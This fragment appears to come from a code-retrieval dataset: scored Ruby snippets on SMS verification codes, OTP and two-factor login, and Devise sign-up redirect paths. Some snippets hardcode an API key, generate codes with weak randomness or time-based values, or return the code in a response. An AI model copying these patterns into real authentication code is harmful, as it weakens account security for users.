"score": "0.6339422", "text": "def send_phone_number_verification_code(phone_number, allow_flash_call: false, is_current_phone_number: false)\n broadcast('@type' => 'sendPhoneNumberVerificationCode',\n 'phone_number' => phone_number,\n 'allow_flash_call' => allow_flash_call,\n 'is_current_phone_number' => is_current_phone_number)\n end", "title": "" }, { "docid": "6d9e65fc0ab549b393e2a26ecc4659d9", "score": "0.63351", "text": "def resend_phone_number_verification_code\n broadcast('@type' => 'resendPhoneNumberVerificationCode')\n end", "title": "" }, { "docid": "cf3e8f5d4449c73d8f7937bbb25835a9", "score": "0.6300255", "text": "def send_verification_call!(number, options = {})\n verify_code = options.fetch(:verify_code, generate_code)\n\n output = api_request(\n :resource => \"/v1/verify/call\",\n :params => encode_hash(\n :ucid => options.fetch(:ucid, \"TRVF\"),\n :phone_number => number,\n :language => options.fetch(:language, \"en-US\"),\n :verify_code => verify_code\n )\n )\n\n { :data => output, :code => verify_code }\n end", "title": "" }, { "docid": "4d906a8a39b9cff917e9a2bfa8748b63", "score": "0.628838", "text": "def mfa_validate_otp_by_phone(multi_factor_auth_model_with_lockout, second_factor_authentication_token, fields = '', sms_template2_f_a = '' ,rba_browser_email_template = '', rba_city_email_template = '', rba_country_email_template = '', rba_ip_email_template = '')\n if multi_factor_auth_model_with_lockout.blank?\n raise LoginRadius::Error.new, getValidationMessage('multi_factor_auth_model_with_lockout')\n end\n if isNullOrWhiteSpace(second_factor_authentication_token)\n raise LoginRadius::Error.new, getValidationMessage('second_factor_authentication_token')\n end\n\n query_parameters = {}\n query_parameters['apiKey'] = @api_key\n query_parameters['secondFactorAuthenticationToken'] = second_factor_authentication_token\n unless isNullOrWhiteSpace(fields)\n query_parameters['fields'] = fields\n end\n unless isNullOrWhiteSpace(sms_template2_f_a)\n query_parameters['smsTemplate2FA'] = sms_template2_f_a\n end\n unless isNullOrWhiteSpace(rba_browser_email_template)\n query_parameters['rbaBrowserEmailTemplate'] = rba_browser_email_template\n end\n unless isNullOrWhiteSpace(rba_city_email_template)\n query_parameters['rbaCityEmailTemplate'] = rba_city_email_template\n end\n unless isNullOrWhiteSpace(rba_country_email_template)\n query_parameters['rbaCountryEmailTemplate'] = rba_country_email_template\n end\n unless isNullOrWhiteSpace(rba_ip_email_template)\n query_parameters['rbaIpEmailTemplate'] = rba_ip_email_template\n end\n\n resource_path = 'identity/v2/auth/login/2fa/verification/otp'\n put_request(resource_path, query_parameters, multi_factor_auth_model_with_lockout)\n end", "title": "" }, { "docid": "9db1eb296f6535e09a16292aad149161", "score": "0.6287582", "text": "def phone_verify\n end", "title": "" }, { "docid": "eabb0258a91742c2b06d2f46188282c3", "score": "0.62824357", "text": "def set_PhoneNumber(value)\n set_input(\"PhoneNumber\", value)\n end", "title": "" }, { "docid": "eabb0258a91742c2b06d2f46188282c3", "score": "0.62824357", "text": "def set_PhoneNumber(value)\n set_input(\"PhoneNumber\", value)\n end", "title": "" }, { "docid": "eabb0258a91742c2b06d2f46188282c3", "score": "0.62817156", "text": "def set_PhoneNumber(value)\n set_input(\"PhoneNumber\", value)\n end", "title": "" }, { "docid": "eabb0258a91742c2b06d2f46188282c3", "score": "0.62817156", "text": "def set_PhoneNumber(value)\n set_input(\"PhoneNumber\", value)\n end", "title": "" }, { "docid": "9f48080973eb1486df15eda35577c039", "score": "0.6278096", "text": "def set_phone_number\n @phone_number = PhoneNumber.find(params[:id])\n end", "title": "" }, { "docid": "9f48080973eb1486df15eda35577c039", "score": "0.6278096", "text": "def set_phone_number\n @phone_number = PhoneNumber.find(params[:id])\n end", "title": "" }, { "docid": "7b343242e16a17396e1377daeba847d8", "score": "0.62653506", "text": "def reset_password\n user = User.find_by(email: params[:user][:email])\n if user\n code = user.send_reset_password_instructions\n user.update(pin: code)\n @parameter = Parameter.find_by(code: ENV['PHONE'])\n if params[:user][:notify].eql?(@parameter.value)\n @client = Twilio::REST::Client.new ENV['TWILLIO_ACCOUNT_SID'], ENV['TWILLIO_AUT_TOKEN']\n @client.api.account.messages.create(from: ENV['TWILLIO_FROM'], to: \"+#{user.phone_number}\", body: \"Hola tu codigo para recuperar la contraseña es: #{code}\")\n result = { \"message\": \"Sending code to phone #{code}\" }\n # render json: result\n else\n result = { \"message\": 'Sending url yo email' }\n # render json: user, status: :found\n end\n render json: result\n else\n result = { \"message\": 'Email is not valid' }\n render json: result, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "a4af0c5a630609c1e050e98fe24736f9", "score": "0.6261912", "text": "def send_pin_code\n ActiveRecord::Base.audit_log = true\n ActiveRecord::Base.case_manager_key = APP_CONFIG['audit_log_system_id']\n ActiveRecord::Base.case_manager_object = nil\n ActiveRecord::Base.access_token_object = nil\n\n access_token = AdminUser.where(id: 1).first\n ActiveRecord::Base.case_manager_object = access_token\n\n phone_number = params[:cell_number]\n logging_parameters = {\"Phone\"=> phone_number}\n\n if phone_number\n\n user = User.where(cellphone: phone_number).first\n\n if user\n active_user = user_is_active_by_id_400(user.id)\n if active_user\n render_error(460, logging_parameters)\n return\n end\n\n # Get pin via TCC\n max_exe_time = APP_CONFIG['max_time_out_seconds']\n inmate = User.get_telmate_enrollee_by_id(user.id, max_exe_time)\n if inmate\n # Update user record on local\n User.update_enrollee(user, inmate)\n\n pin = inmate.pin\n # Send SMS via twilio\n sms_msg = I18n.t(223) + \"#{pin}\"\n sms_service = SendSMSService.new(phone_number, sms_msg, user.id)\n sms_result = sms_service.perform\n\n if sms_result.success\n log_event('SMS Sent', logging_parameters)\n render_success(225, logging_parameters)\n else\n render_error(520, logging_parameters)\n end\n else\n render_error(642, logging_parameters)\n end\n else\n render_error(642, logging_parameters)\n end\n else\n render_error(400, logging_parameters)\n end\n end", "title": "" }, { "docid": "371c4d68a93b58457d2b42122f0410a4", "score": "0.62610435", "text": "def verify_otp\n\t \tif resource = @resource_class.where(:additional_login_param => @additional_login_param).first \n\t \t\tresource.m_client = self.m_client\n\t \t\tresource.set_client_authentication\n\t \t\t\n\t \t\t##there are no errors, so we proceed with verification.\n\t \t\tif otp_error = resource.check_otp_errors\n\t \t\t\t@status = 422\n\t \t\t\tresource.errors.add(:additional_login_param,otp_error)\n\t \t\telse\n\t \t\t\tresource.verify_sms_otp(@otp)\n\t \t\t\t## just setting so that it is available on the resource object.\n\t \t\t\tresource.otp = @otp\n\t \t\tend\n\t \telse\n\t \t\tresource = @resource_class.new\n\t \t\tresource.errors.add(:additional_login_param,\"Not Found\")\n\t \t\t@status = 400\n\t \tend\n\t \t@auth_user = resource\n\t \trespond_to do |format|\n \t\t format.json {render json: resource.as_json({:otp_verification => true}), status: @status}\n \t\t format.js {render :partial => \"auth/confirmations/verify_otp.js.erb\", locals: {resource: resource, intent: @intent, otp: @otp}}\n \t\t format.html {render \"auth/confirmations/get_otp_status.html.erb\"}\n \t\tend\n\tend", "title": "" }, { "docid": "15daa37121090f12b872aa829977335b", "score": "0.6253113", "text": "def phone_login(phone_number, code, scope = 'openid')\n raise Auth0::InvalidParameter, 'Must supply a valid phone number' if phone_number.to_s.empty?\n raise Auth0::InvalidParameter, 'Must supply a valid code' if code.to_s.empty?\n request_params = {\n client_id: @client_id,\n username: phone_number,\n password: code,\n scope: scope,\n connection: 'sms',\n grant_type: 'password'\n }\n post('/oauth/ro', request_params)\n end", "title": "" }, { "docid": "15daa37121090f12b872aa829977335b", "score": "0.6253113", "text": "def phone_login(phone_number, code, scope = 'openid')\n raise Auth0::InvalidParameter, 'Must supply a valid phone number' if phone_number.to_s.empty?\n raise Auth0::InvalidParameter, 'Must supply a valid code' if code.to_s.empty?\n request_params = {\n client_id: @client_id,\n username: phone_number,\n password: code,\n scope: scope,\n connection: 'sms',\n grant_type: 'password'\n }\n post('/oauth/ro', request_params)\n end", "title": "" }, { "docid": "a2758a44ebcddfd21fc4cbf05ce7c887", "score": "0.62471044", "text": "def validate\n @user.update! phone: params[:phone]\n @user.generate_activation_code!\n @user.send_activation_code!\n head :ok\n end", "title": "" }, { "docid": "e4885f6965892b0fba2602c0a9e442f5", "score": "0.6238051", "text": "def mfa_validate_otp_by_phone(multi_factor_auth_model_with_lockout, second_factor_authentication_token, fields = '', sms_template2_f_a = '')\n if multi_factor_auth_model_with_lockout.blank?\n raise LoginRadius::Error.new, getValidationMessage('multi_factor_auth_model_with_lockout')\n end\n if isNullOrWhiteSpace(second_factor_authentication_token)\n raise LoginRadius::Error.new, getValidationMessage('second_factor_authentication_token')\n end\n\n query_parameters = {}\n query_parameters['apiKey'] = @api_key\n query_parameters['secondFactorAuthenticationToken'] = second_factor_authentication_token\n unless isNullOrWhiteSpace(fields)\n query_parameters['fields'] = fields\n end\n unless isNullOrWhiteSpace(sms_template2_f_a)\n query_parameters['smsTemplate2FA'] = sms_template2_f_a\n end\n\n resource_path = 'identity/v2/auth/login/2fa/verification/otp'\n put_request(resource_path, query_parameters, multi_factor_auth_model_with_lockout)\n end", "title": "" }, { "docid": "ab36c08498dcdd79873e6459fa13e900", "score": "0.62361014", "text": "def verify_sms_otp(otp)\n\t\t\n\tend", "title": "" }, { "docid": "20fc22e05efc035465bfd919f451dcf1", "score": "0.6232966", "text": "def request_two_factor_code_from_phone(phone_id, phone_number, code_length, should_request_code = true)\n if should_request_code\n # Request code\n r = request(:put) do |req|\n req.url(\"https://idmsa.apple.com/appleauth/auth/verify/phone\")\n req.headers['Content-Type'] = 'application/json'\n req.body = { \"phoneNumber\" => { \"id\" => phone_id }, \"mode\" => \"sms\" }.to_json\n update_request_headers(req)\n end\n\n # we use `Spaceship::TunesClient.new.handle_itc_response`\n # since this might be from the Dev Portal, but for 2 step\n Spaceship::TunesClient.new.handle_itc_response(r.body)\n\n puts(\"Successfully requested text message to #{phone_number}\")\n end\n\n code = ask_for_2fa_code(\"Please enter the #{code_length} digit code you received at #{phone_number}:\")\n\n return { \"securityCode\" => { \"code\" => code.to_s }, \"phoneNumber\" => { \"id\" => phone_id }, \"mode\" => \"sms\" }.to_json\n end", "title": "" }, { "docid": "79abf3762a9aae0580fb42ee7315bb01", "score": "0.6231414", "text": "def phone_number=(value)\n @phone_number = value\n end", "title": "" }, { "docid": "c210079a926dd5e91283e9d2b438b913", "score": "0.6227399", "text": "def register_sms(phone_number)\n @credential.register_sms(@management_client, phone_number)\n end", "title": "" }, { "docid": "55c568c11fdb495a786094ae5f8bdfd3", "score": "0.6215953", "text": "def send_pin\n mobile = params[:mobile]\n if (User::HongKongMobileRegExp === mobile)\n @user = User.find_by_mobile(params[:mobile])\n @user.send_verification_pin if @user.present?\n render json: { otp_auth_key: otp_auth_key_for(@user) }\n else\n attr = I18n.t('activerecord.attributes.user.mobile')\n reason = mobile.blank? ? 'blank' : 'invalid'\n err = I18n.t(\"activerecord.errors.models.user.attributes.mobile.#{reason}\")\n message = I18n.t('errors.format', attribute: attr, message: err)\n render json: { errors: message }, status: 422\n end\n end", "title": "" }, { "docid": "2421d9ed0d831317ce2175709041ee95", "score": "0.62132245", "text": "def v1userprofilephoneotp_number_with_http_info(number, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: AccountActionsApi.v1userprofilephoneotp_number ...\"\n end\n # verify the required parameter 'number' is set\n fail ArgumentError, \"Missing the required parameter 'number' when calling AccountActionsApi.v1userprofilephoneotp_number\" if number.nil?\n # resource path\n local_var_path = \"/v1/user/profile/phone/otp/{number}\".sub('{format}','json').sub('{' + 'number' + '}', number.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n\n # HTTP header 'Accept' (if needed)\n local_header_accept = ['application/json', 'application/xml', 'application/csv']\n local_header_accept_result = @api_client.select_header_accept(local_header_accept) and header_params['Accept'] = local_header_accept_result\n\n # HTTP header 'Content-Type'\n local_header_content_type = ['application/json']\n header_params['Content-Type'] = @api_client.select_header_content_type(local_header_content_type)\n header_params[:'Authorization'] = opts[:'authorization'] if !opts[:'authorization'].nil?\n header_params[:'accept'] = opts[:'accept'] if !opts[:'accept'].nil?\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = []\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'SuccessResult')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: AccountActionsApi#v1userprofilephoneotp_number\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "bb88bb7507c831b716a872cb1f92fa56", "score": "0.6195804", "text": "def validate_number\n user = User.find_by(user_verify_phone_params)\n if user\n message = if user.active && user.mobile_verify\n 'it has already been validated'\n else\n 'user validate'\n end\n user.update(mobile_verify: true, active: true, confirmed_at: Time.new)\n render json: user = { user: user, message: message }\n else\n user = { user: user, message: 'not found' }\n render json: user, status: :found\n end\n end", "title": "" }, { "docid": "4fd7798e6ac8c5c2a1306315ddab6d6f", "score": "0.61722624", "text": "def user_code\n random_str = [*('1'..'9')].sample(4).join\n client = ZenSend::Client.new(\"5pPy6oDeZgz9ZZ8YXxHfWQ\")\n begin\n result = client.send_sms(\n originator: \"447858302548\",\n originator_type: 'msisdn',\n # Add your number here to send a message to yourself\n #The number should be in international format.\n #For example GB numbers will be 447400123456\n numbers: [params[:phone]],\n body: \"Hello! Enter #{random_str} to verify your number\"\n )\n @encoded_random_str = Base64.encode64(random_str)\n flash[:notice] = 'A confirmation code has been sent on your mobile number sucessfully'\n rescue ZenSend::ZenSendException => e\n redirect_to :root, alert: \"ZenSendException: #{e.parameter} => #{e.failcode}\"\n end\n\n end", "title": "" }, { "docid": "80310837b4661f6a41cd3bf832790990", "score": "0.61648923", "text": "def send_code_sms(code, phone)\n phone = phone.gsub(/[^0-9]/, '').gsub(/^1/, '')\n twilio = YAML.load_file(File.join(Rails.root, 'config', 'twilio.yml'))[Rails.env]\n from = \"+1#{twilio['phone_number']}\"\n to = \"+1#{phone}\"\n body = \"Your McNelis verification code is: #{code}\"\n twilio_client = Twilio::REST::Client.new(twilio['sid'], twilio['token'])\n sent = false\n begin\n twilio_client.account.sms.messages.create(from: from, to: to, body: body)\n rescue Twilio::REST::RequestError => e\n sent = false\n else\n sent = true\n end\n sent\n end", "title": "" }, { "docid": "2c69c309894364424810bcb4ceeeba25", "score": "0.61625314", "text": "def set_phone_number\n if edit_user?\n @phone_number = PhoneNumber.find(params[:id])\n else\n @phone_number = PhoneNumber.where(id: params[:id], profile_id: current_user.profile.id).first\n end\n end", "title": "" }, { "docid": "2bdcedf6b6602b862b1ce9695ad9da0a", "score": "0.61553866", "text": "def send_otp_code?\n number = rand.to_s[2..5]\n return false unless self.update_attribute(:otp_code, number)\n SendSmsJob.perform_later self.country_code, self.phone, self.otp_code\n return true\n end", "title": "" }, { "docid": "61233ce993fa9de02ad99acd487d8f2b", "score": "0.61437696", "text": "def verify_mobile\n if request.post?\n if params[:perform] == 'set_number'\n current_user.unconfirmed_phone_number = params[:phone_number]\n current_user.save\n @notices = current_user.errors\n elsif params[:perform] == 'request_token'\n if current_user.sms_sending_cool_off_elapsed?\n @notices = ['Det ble nydelig sendt en SMS. Prøv igjen om litt.']\n elsif current_user.unconfirmed_phone_number.blank? || current_user.phone_number_confirmation_token.blank?\n @notices = ['Ukjent telefonnumer. Kunne ikke sende verifikasjonskode. Oppdater nummeret ditt for å prøve igjen.']\n else\n current_user.send_sms_for_phone_confirmation\n current_user.save!\n end\n elsif params[:perform] == 'set_token'\n if current_user.phone_number_confirmation_token == params[:token]\n current_user.confirm_phone_number!\n else\n @notices = [\"Feil sikkerhetskode!\"]\n end\n end\n end\n end", "title": "" }, { "docid": "53dc545495eada80a42ed73e4721459a", "score": "0.61378795", "text": "def update\n @telephone_verification = TelephoneVerification.find(params[:id])\n\n respond_to do |format|\n if @telephone_verification.update_attributes(params[:telephone_verification])\n format.html { redirect_to @telephone_verification, notice: 'Telephone verification was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @telephone_verification.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "bd38f9e40808d389b3af63af425c020b", "score": "0.61330247", "text": "def send_sms(client, user_id, phone_number)\n sms_res = client.call(:send_otp, message: create_send_sms_body(user_id, phone_number))\n result_hash = sms_res.body[:send_otp_response]\n success = result_hash[:status] == '0000'\n\n {\n success: success,\n id: result_hash[:request_id],\n message: result_hash[:status_message]\n }\n end", "title": "" }, { "docid": "9527a89e024c0efe2e9217aa942eccb1", "score": "0.61296153", "text": "def set_and_authorize_phone_number\n @phone_number = PhoneNumber.find(params[:id])\n authorize @phone_number, \"#{action_name}?\".to_sym\n end", "title": "" }, { "docid": "b38168b9fa729de5f7a4c2f18916752a", "score": "0.6125694", "text": "def set_phone\n @phone = Fonelator::Phone.where(id: params[:id], user_id: fonelator_current_user.id).take\n end", "title": "" }, { "docid": "778f6d6fa6e346de3a2735b4a166514e", "score": "0.61065197", "text": "def phone_number=(phone_number)\n super(phone_number)\n \n self.clean_phone_number = Expect.clean_phone_number(phone_number)\n end", "title": "" }, { "docid": "778f6d6fa6e346de3a2735b4a166514e", "score": "0.61065197", "text": "def phone_number=(phone_number)\n super(phone_number)\n \n self.clean_phone_number = Expect.clean_phone_number(phone_number)\n end", "title": "" }, { "docid": "778f6d6fa6e346de3a2735b4a166514e", "score": "0.61065197", "text": "def phone_number=(phone_number)\n super(phone_number)\n \n self.clean_phone_number = Expect.clean_phone_number(phone_number)\n end", "title": "" }, { "docid": "43e97d1c6a0999b847b7532054daafa3", "score": "0.6090793", "text": "def set_otp_code\n otp = SecureRandom.random_number(100) + (Time.now.to_i % 10000)\n self.set(otp_code: otp.to_s)\n end", "title": "" }, { "docid": "fd3cbfd9fc85868f6fa17aa29f7b1bfd", "score": "0.6085023", "text": "def set_NewPhone(value)\n set_input(\"NewPhone\", value)\n end", "title": "" }, { "docid": "5933a0fff741495073f61001afca23c5", "score": "0.6078461", "text": "def set_phone_number\n @phone_number = PhoneNumber.find(params[:id])\n end", "title": "" }, { "docid": "a025a06e4eb31896c7222b0113d1f649", "score": "0.6075392", "text": "def set_phone_no(new_phone)\n update(phone_no: new_phone)\n end", "title": "" }, { "docid": "8ab52d91a7ca24d845dce9d2ed675e57", "score": "0.606565", "text": "def sms(phone_number,\n use_case_code=nil,\n extra=nil,\n timeout=nil)\n\n params = {:phone_number => phone_number}\n\n unless use_case_code.nil?\n params[:use_case_code] = use_case_code\n end\n\n unless extra.nil?\n params.merge!(extra)\n end\n\n execute(Net::HTTP::Post,\n \"/v1/verify/sms\",\n nil,\n params,\n timeout)\n end", "title": "" }, { "docid": "5b9b5001a5ce7aac65d89a6881acf798", "score": "0.60588175", "text": "def send_verification_code\n if !self.verified? && Rails.env.production?\n to_phone_number = self.user.phone_number \n self.twilio_client.account.messages.create(\n from: \"+#{Rails.application.secrets[:twilio]['phone_number']}\",\n to: to_phone_number,\n body: \"Your PicNow code is #{self.code}\"\n )\n else\n true\n end\n end", "title": "" }, { "docid": "c071f89fb9627ace9bd126011b71cd2c", "score": "0.6058286", "text": "def multi_factor_auth_phone_setup(success:,\n errors:,\n otp_delivery_preference:,\n area_code:,\n carrier:,\n country_code:,\n phone_type:,\n types:,\n **extra)\n track_event(\n 'Multi-Factor Authentication: phone setup',\n success: success,\n errors: errors,\n otp_delivery_preference: otp_delivery_preference,\n area_code: area_code,\n carrier: carrier,\n country_code: country_code,\n phone_type: phone_type,\n types: types,\n **extra,\n )\n end", "title": "" }, { "docid": "35cc8b0cbf2bd66cf707968ccf7cd71e", "score": "0.6037938", "text": "def request_two_factor_code_from_phone(phone_id, phone_number, code_length, push_mode = \"sms\", should_request_code = true)\n if should_request_code\n # Request code\n r = request(:put) do |req|\n req.url(\"https://idmsa.apple.com/appleauth/auth/verify/phone\")\n req.headers['Content-Type'] = 'application/json'\n req.body = { \"phoneNumber\" => { \"id\" => phone_id }, \"mode\" => push_mode }.to_json\n update_request_headers(req)\n end\n\n # we use `Spaceship::TunesClient.new.handle_itc_response`\n # since this might be from the Dev Portal, but for 2 step\n Spaceship::TunesClient.new.handle_itc_response(r.body)\n\n puts(\"Successfully requested text message to #{phone_number}\")\n end\n\n env_2fa_auto_login_url = ENV[\"SPACESHIP_2FA_AUTO_LOGIN_URL\"]\n\n if env_2fa_auto_login_url\n puts(\"Environment variable `SPACESHIP_2FA_AUTO_LOGIN_URL` is set, automatically loading 2FA from specified URL\")\n puts(\"\")\n code = retrieve_2fa_code_from_url(env_2fa_auto_login_url)\n else\n code = ask_for_2fa_code(\"Please enter the #{code_length} digit code you received at #{phone_number}:\")\n end\n\n return { \"securityCode\" => { \"code\" => code.to_s }, \"phoneNumber\" => { \"id\" => phone_id }, \"mode\" => push_mode }.to_json\n end", "title": "" }, { "docid": "036b0f83773b1c6dda6be12a9f1fb3d9", "score": "0.60361224", "text": "def opt_in!(number)\n client.opt_in_phone_number({\n phone_number: number\n })\n end", "title": "" }, { "docid": "15e39fa84cb9bcb1222ced87c4745611", "score": "0.6031821", "text": "def telephone_number=(telephone_number)\n @telephone_number = telephone_number\n @modified = true\n end", "title": "" }, { "docid": "fbd79bfb24bc3e9b6b33f12ad94797a4", "score": "0.6031263", "text": "def put_telephone(telephone)\n post_or_put_data(:put, telephone, 'telephones', TelephoneTransactionResponse)\n end", "title": "" }, { "docid": "fbd79bfb24bc3e9b6b33f12ad94797a4", "score": "0.6031263", "text": "def put_telephone(telephone)\n post_or_put_data(:put, telephone, 'telephones', TelephoneTransactionResponse)\n end", "title": "" }, { "docid": "44ff5349daee2c1da865f63c0287c5b6", "score": "0.6030348", "text": "def handle_mfa_flow\n case mfa_phase\n when :needs_mobile_number then prompt_for \"mobile_number\"\n when :has_mobile_number then send_and_prompt_for_otp\n when :updating_mobile_number\n user.update!(mobile_number: user_params[:mobile_number])\n send_and_prompt_for_otp\n when :validating_otp then complete_sign_in_with_otp? || prompt_for(\"otp_attempt\")\n end\n end", "title": "" }, { "docid": "d59a81d9de084cf859fb82154a58afab", "score": "0.6029283", "text": "def check_phone_number_verification_code(code)\n broadcast('@type' => 'checkPhoneNumberVerificationCode',\n 'code' => code)\n end", "title": "" }, { "docid": "d74f93fdc45fbe018238e80648180a1f", "score": "0.6029279", "text": "def set_phonenumber\n @phonenumber = Phonenumber.find(params[:id])\n end", "title": "" } ]
b3bd4142acce4b2588c28fd885de4e72
The path used after sign up.
[ { "docid": "e8f014f24083f9601e1427ca19553975", "score": "0.0", "text": "def after_sign_up_path_for(resource)\n super(resource)\n end", "title": "" } ]
[ { "docid": "bfb89bf9d88aa9e59a143eb02f412e81", "score": "0.7807393", "text": "def signup_path\n \"/auth/dailycred\"\n end", "title": "" }, { "docid": "5d3967801c75d5e16e6e82cc5a0bcb17", "score": "0.7593997", "text": "def client_signed_up_path\n path_from_cookie(:after_account_signed_up_path) || path_from_cookie(:after_client_signed_up_path) || programmers_path\n end", "title": "" }, { "docid": "ae4247f3e7a04ae9cdcc23c62da46899", "score": "0.75632477", "text": "def path\n if root?\n boot_path\n else\n user_path\n end\n end", "title": "" }, { "docid": "4748f864ace3e3f6b413aa078f0c6559", "score": "0.7440914", "text": "def path\n if !Dir.exist? @user_path\n Dir.mkdir @user_path\n end\n\n @user_path\n end", "title": "" }, { "docid": "6af5b7f73fb5486ac20d2fc877f11b04", "score": "0.7438482", "text": "def client_signed_up_path\n path_from_cookie(:after_account_signed_up_path) || path_from_cookie(:after_client_signed_up_path) || investors_path\n end", "title": "" }, { "docid": "f1a6bd6b4c03c183b30024f007f0313d", "score": "0.73416513", "text": "def after_sign_up_path_for(_resource)\n \"#{root_path}home\"\n end", "title": "" }, { "docid": "d98f5a5f9d9133fdd1d1307daa43137f", "score": "0.73034877", "text": "def path; root? ? boot_path : user_path end", "title": "" }, { "docid": "eadab15d28324c989a5e53d26303e8d9", "score": "0.73021513", "text": "def after_sign_up_path_for(resource)\n #root_path(resource)\n puts 'getting after sign up path'\n root_url\n end", "title": "" }, { "docid": "14b53ae50471fa9cb6b5e6b89a284fd9", "score": "0.72127247", "text": "def after_sign_up_path_for(resource)\n resource\n end", "title": "" }, { "docid": "be28ee5fd1a843f3b4f0985d5c511dd6", "score": "0.71978325", "text": "def after_sign_up_path_for(user)\n return root_url\n end", "title": "" }, { "docid": "9eb7fc3719b43afb26e14d823cd95996", "score": "0.7191859", "text": "def after_sign_up_path_for(_resource)\n root_path\n end", "title": "" }, { "docid": "640dcab5e27e60cae641a20724b1d365", "score": "0.7179444", "text": "def after_sign_up_path_for(resource)\n stored_location_for(resource) || activities_path\n end", "title": "" }, { "docid": "dfdbd889cb97f99ec790156545a36068", "score": "0.71762156", "text": "def after_sign_up_path_for(_resource)\n login_path\n end", "title": "" }, { "docid": "d075743124e611f40e31c0a8e35b8a7a", "score": "0.71654505", "text": "def after_sign_up_path_for(resource)\n config.relative_url_root + \"/student_application_form/1\"\n end", "title": "" }, { "docid": "feff35a3d0472b44ae098a34509e97c6", "score": "0.7145078", "text": "def after_sign_up_path_for(resource)\n user_path\n end", "title": "" }, { "docid": "85169c9afd653985d50cf7aa89af4c7a", "score": "0.71387905", "text": "def after_sign_up_path_for(resource)\n resource\n end", "title": "" }, { "docid": "fa4109c7274d862ecb8fc7931cd5b95d", "score": "0.7132569", "text": "def after_sign_up_path_for(resource)\n resource.profile_path\n end", "title": "" }, { "docid": "e9eb5a08b5a95250ee91763d1849a68d", "score": "0.71308184", "text": "def after_sign_up_path_for(_resource)\n users_completed_path\n # new_user_session_path\n end", "title": "" }, { "docid": "7c79ed0ba392df5ba1af9925341bf639", "score": "0.7107531", "text": "def after_sign_up_path_for(resource)\n root\n end", "title": "" }, { "docid": "fde102f5a3fce07d62c19eef47bcee12", "score": "0.71042967", "text": "def path\n params[:action] == \"new\" ? signup_path : nil\n end", "title": "" }, { "docid": "f1ad527a97db4e8161c6b930399bc20a", "score": "0.70972073", "text": "def after_sign_up_path_for(resource)\n\t\troot_path\n\tend", "title": "" }, { "docid": "554b1dae166bbf4795ad6df52074059b", "score": "0.7079744", "text": "def after_sign_up_path_for(resource)\n '/account_setup'\n end", "title": "" }, { "docid": "d04976a292a67dc890cc48dc752d098b", "score": "0.70785034", "text": "def after_sign_up_path_for(resource)\n sign_up_path = !current_user.user_profile.blank? ? \"#{root_path}\" : \"#{new_user_profile_path}\"\n end", "title": "" }, { "docid": "f24b282bb7b63f1aca1ec221f459a43b", "score": "0.7068414", "text": "def after_sign_up_path_for(_resource)\n new_user_session_path\n end", "title": "" }, { "docid": "0dbea13333d24a055381470a8127e8c6", "score": "0.70492214", "text": "def after_sign_up_path_for(resource)\n profile_path(current_user.id)\n end", "title": "" }, { "docid": "35bbe05968a36f6b1a98c3ae6a8c9313", "score": "0.70284283", "text": "def after_sign_up_path_for(resource) \t\n after_sign_in_path_for(resource)\n end", "title": "" }, { "docid": "cf032c3adf8a6e04f5b50cb1e3be7df4", "score": "0.7026327", "text": "def after_sign_up_path_for(resource)\n stored_location_for(resource) || super(resource)\n end", "title": "" }, { "docid": "170e25ce5d72a0c10b0e79a813ce60f3", "score": "0.7025287", "text": "def after_sign_up_path_for(resource)\r\n #\"/users/\"+current_user.id.to_s\r\n root_path\r\n end", "title": "" }, { "docid": "5810a22d8d7519c1e524f1b2134db908", "score": "0.7019407", "text": "def after_sign_up_path_for(resource_or_scope)\n stored_location_for(resource_or_scope) || super\n end", "title": "" }, { "docid": "38c3d65d491e6037cd6dce7b87a6acd2", "score": "0.7004914", "text": "def after_sign_up_path_for(resource)\r\n after_sign_in_path_for(resource)\r\n end", "title": "" }, { "docid": "aadf4087d27ea23ec5e7957096cbfeb9", "score": "0.6998831", "text": "def after_sign_up_path_for(resource)\n client_my_profil_path\n end", "title": "" }, { "docid": "bd96685d9bb7e0b6b6efdefd0c870883", "score": "0.69979143", "text": "def after_sign_up_path_for(resource)\n \"/user/#{current_user.id}\"\n end", "title": "" }, { "docid": "a2b6cb810653c1a1a2dda3a53bbac864", "score": "0.69930995", "text": "def after_sign_up_path_for(resource)\n\t\tuser_path(current_user.id) if current_user\n\tend", "title": "" }, { "docid": "ac2ad8f890fa0c9dddc330bc2362ff5e", "score": "0.6989951", "text": "def after_sign_up_path_for(resource)\n '/profile'\n end", "title": "" }, { "docid": "2212b42244f943ef236678fe590ed62f", "score": "0.698846", "text": "def after_sign_up_path_for(resource)\n user_path(current_user.id)\n end", "title": "" }, { "docid": "d1290921d60f4f565d6fff9c1be11468", "score": "0.69836", "text": "def after_sign_up_path_for(resource)\n root_path\n end", "title": "" }, { "docid": "d1290921d60f4f565d6fff9c1be11468", "score": "0.69836", "text": "def after_sign_up_path_for(resource)\n root_path\n end", "title": "" }, { "docid": "d1290921d60f4f565d6fff9c1be11468", "score": "0.69836", "text": "def after_sign_up_path_for(resource)\n root_path\n end", "title": "" }, { "docid": "d1290921d60f4f565d6fff9c1be11468", "score": "0.69836", "text": "def after_sign_up_path_for(resource)\n root_path\n end", "title": "" }, { "docid": "d1290921d60f4f565d6fff9c1be11468", "score": "0.69836", "text": "def after_sign_up_path_for(resource)\n root_path\n end", "title": "" }, { "docid": "d1290921d60f4f565d6fff9c1be11468", "score": "0.69836", "text": "def after_sign_up_path_for(resource)\n root_path\n end", "title": "" }, { "docid": "dfc2c19815fc36a6c480c87e7a76f4c2", "score": "0.69687116", "text": "def after_sign_up_path_for(resource)\n after_sign_in_path_for(resource)\n end", "title": "" }, { "docid": "dfc2c19815fc36a6c480c87e7a76f4c2", "score": "0.69687116", "text": "def after_sign_up_path_for(resource)\n after_sign_in_path_for(resource)\n end", "title": "" }, { "docid": "dfc2c19815fc36a6c480c87e7a76f4c2", "score": "0.69687116", "text": 